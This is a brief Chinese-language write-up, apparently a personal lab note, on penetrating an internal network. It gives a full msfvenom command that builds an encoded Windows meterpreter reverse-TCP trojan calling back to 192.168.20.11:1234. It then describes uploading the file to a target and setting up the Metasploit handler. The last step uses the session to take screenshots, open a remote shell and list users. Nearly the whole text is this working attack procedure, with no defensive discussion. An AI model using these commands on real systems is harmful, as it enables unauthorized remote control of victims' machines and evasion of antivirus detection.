记一次内网渗透

1.生成一个木马文件

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 LHOST=192.168.20.11 LPORT=1234 -f exe >test.exe

2.将生成的木马上传到目标机器上

3.启动msfconsole。

4.准备工作

（1）use exploit/multi/handler

（2）set LHOST 192.168.20.11

（3）set LPORT 1234

（4）exploit

（5）运行之前准备的木马文件

5.开始试验：

（1）执行screenshot 可以截屏，然后去验证。

（2）输入shell，就返回一个shell

（3）试一下net user 没问题。

　　到这里，就已经成功获取权限了。